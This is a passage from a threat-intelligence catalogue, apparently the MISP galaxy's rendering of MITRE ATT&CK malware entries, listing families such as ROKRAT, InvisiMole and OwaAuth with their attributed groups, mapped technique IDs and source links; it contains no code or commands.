Twitoor - S0302 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/ |
LOWBALL - S0042
[LOWBALL](https://attack.mitre.org/software/S0042) is malware used by [admin@338](https://attack.mitre.org/groups/G0018). It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)
The tag is: misp-galaxy:mitre-malware="LOWBALL - S0042"
LOWBALL - S0042 is also known as:
-
LOWBALL
LOWBALL - S0042 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html |
ROKRAT - S0240
[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)
The tag is: misp-galaxy:mitre-malware="ROKRAT - S0240"
ROKRAT - S0240 is also known as:
-
ROKRAT
ROKRAT - S0240 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
Briba - S0204
[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)
The tag is: misp-galaxy:mitre-malware="Briba - S0204"
Briba - S0204 is also known as:
-
Briba
Briba - S0204 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99 |
Dyre - S0024
[Dyre](https://attack.mitre.org/software/S0024) is a Trojan that has been used for financial gain. (Citation: Symantec Dyre June 2015)
The tag is: misp-galaxy:mitre-malware="Dyre - S0024"
Dyre - S0024 is also known as:
-
Dyre
Dyre - S0024 has relationships with:
-
similar: misp-galaxy:banker="Dyre" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
Links |
CALENDAR - S0025
[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-malware="CALENDAR - S0025"
CALENDAR - S0025 is also known as:
-
CALENDAR
CALENDAR - S0025 has relationships with:
-
similar: misp-galaxy:tool="CALENDAR" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
OnionDuke - S0052
[OnionDuke](https://attack.mitre.org/software/S0052) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2013 to 2015. (Citation: F-Secure The Dukes)
The tag is: misp-galaxy:mitre-malware="OnionDuke - S0052"
OnionDuke - S0052 is also known as:
-
OnionDuke
OnionDuke - S0052 has relationships with:
-
similar: misp-galaxy:malpedia="OnionDuke" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf |
Naid - S0205
[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)
The tag is: misp-galaxy:mitre-malware="Naid - S0205"
Naid - S0205 is also known as:
-
Naid
Naid - S0205 has relationships with:
-
similar: misp-galaxy:tool="Trojan.Naid" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99 |
GLOOXMAIL - S0026
[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)
The tag is: misp-galaxy:mitre-malware="GLOOXMAIL - S0026"
GLOOXMAIL - S0026 is also known as:
-
GLOOXMAIL
-
Trojan.GTALK
GLOOXMAIL - S0026 has relationships with:
-
similar: misp-galaxy:tool="GLOOXMAIL" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
DustySky - S0062
[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)
The tag is: misp-galaxy:mitre-malware="DustySky - S0062"
DustySky - S0062 is also known as:
-
DustySky
-
NeD Worm
DustySky - S0062 has relationships with:
-
similar: misp-galaxy:tool="NeD Worm" with estimative-language:likelihood-probability="likely"
-
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
InvisiMole - S0260
[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by threat actors since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. (Citation: ESET InvisiMole June 2018)
The tag is: misp-galaxy:mitre-malware="InvisiMole - S0260"
InvisiMole - S0260 is also known as:
-
InvisiMole
InvisiMole - S0260 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/ |
Wiarp - S0206
[Wiarp](https://attack.mitre.org/software/S0206) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)
The tag is: misp-galaxy:mitre-malware="Wiarp - S0206"
Wiarp - S0206 is also known as:
-
Wiarp
Wiarp - S0206 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99 |
OwaAuth - S0072
[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Dell TG-3390)
The tag is: misp-galaxy:mitre-malware="OwaAuth - S0072"
OwaAuth - S0072 is also known as:
-
OwaAuth
OwaAuth - S0072 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage |
RogueRobin - S0270
[RogueRobin](https://attack.mitre.org/software/S0270) is a payload used by [DarkHydrus](https://attack.mitre.org/groups/G0079) that has been developed in PowerShell and C#. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)
The tag is: misp-galaxy:mitre-malware="RogueRobin - S0270"
RogueRobin - S0270 is also known as:
-
RogueRobin
RogueRobin - S0270 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
Links |
Vasport - S0207
[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)
The tag is: misp-galaxy:mitre-malware="Vasport - S0207"
Vasport - S0207 is also known as:
-
Vasport
Vasport - S0207 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99 |
Zeroaccess - S0027
[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)
The tag is: misp-galaxy:mitre-malware="Zeroaccess - S0027"
Zeroaccess - S0027 is also known as:
-
Zeroaccess
-
Trojan.Zeroaccess
Zeroaccess - S0027 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
Links |
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf |
SHIPSHAPE - S0028
[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)
The tag is: misp-galaxy:mitre-malware="SHIPSHAPE - S0028"
SHIPSHAPE - S0028 is also known as:
-
SHIPSHAPE
SHIPSHAPE - S0028 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
Links |
Emissary - S0082
[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)
The tag is: misp-galaxy:mitre-malware="Emissary - S0082"
Emissary - S0082 is also known as:
-
Emissary
Emissary - S0082 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
Links |
MirageFox - S0280
[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)
The tag is: misp-galaxy:mitre-malware="MirageFox - S0280"
MirageFox - S0280 is also known as:
-
MirageFox
MirageFox - S0280 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/ |
Pasam - S0208
[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)
The tag is: misp-galaxy:mitre-malware="Pasam - S0208"
Pasam - S0208 is also known as:
-
Pasam
Pasam - S0208 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99 |
Darkmoon - S0209
is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)
Aliases: Darkmoon
The tag is: misp-galaxy:mitre-malware="Darkmoon - S0209"
Darkmoon - S0209 has relationships with:
-
similar: misp-galaxy:malpedia="Darkmoon" with estimative-language:likelihood-probability="likely"
-
revoked-by: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
Links |
Gooligan - S0290
[Gooligan](https://attack.mitre.org/software/S0290) is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. [Gooligan](https://attack.mitre.org/software/S0290) has been described as part of the Ghost Push Android malware family. (Citation: Gooligan Citation) (Citation: Ludwig-GhostPush) (Citation: Lookout-Gooligan)
The tag is: misp-galaxy:mitre-malware="Gooligan - S0290"
Gooligan - S0290 is also known as:
-
Gooligan
-
Ghost Push
Gooligan - S0290 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
-
uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/ |
https://blog.lookout.com/blog/2016/12/01/ghost-push-gooligan/ |
MazarBOT - S0303
[MazarBOT](https://attack.mitre.org/software/S0303) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)
The tag is: misp-galaxy:mitre-malware="MazarBOT - S0303"
MazarBOT - S0303 is also known as:
-
MazarBOT
MazarBOT - S0303 has relationships with:
-
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
-
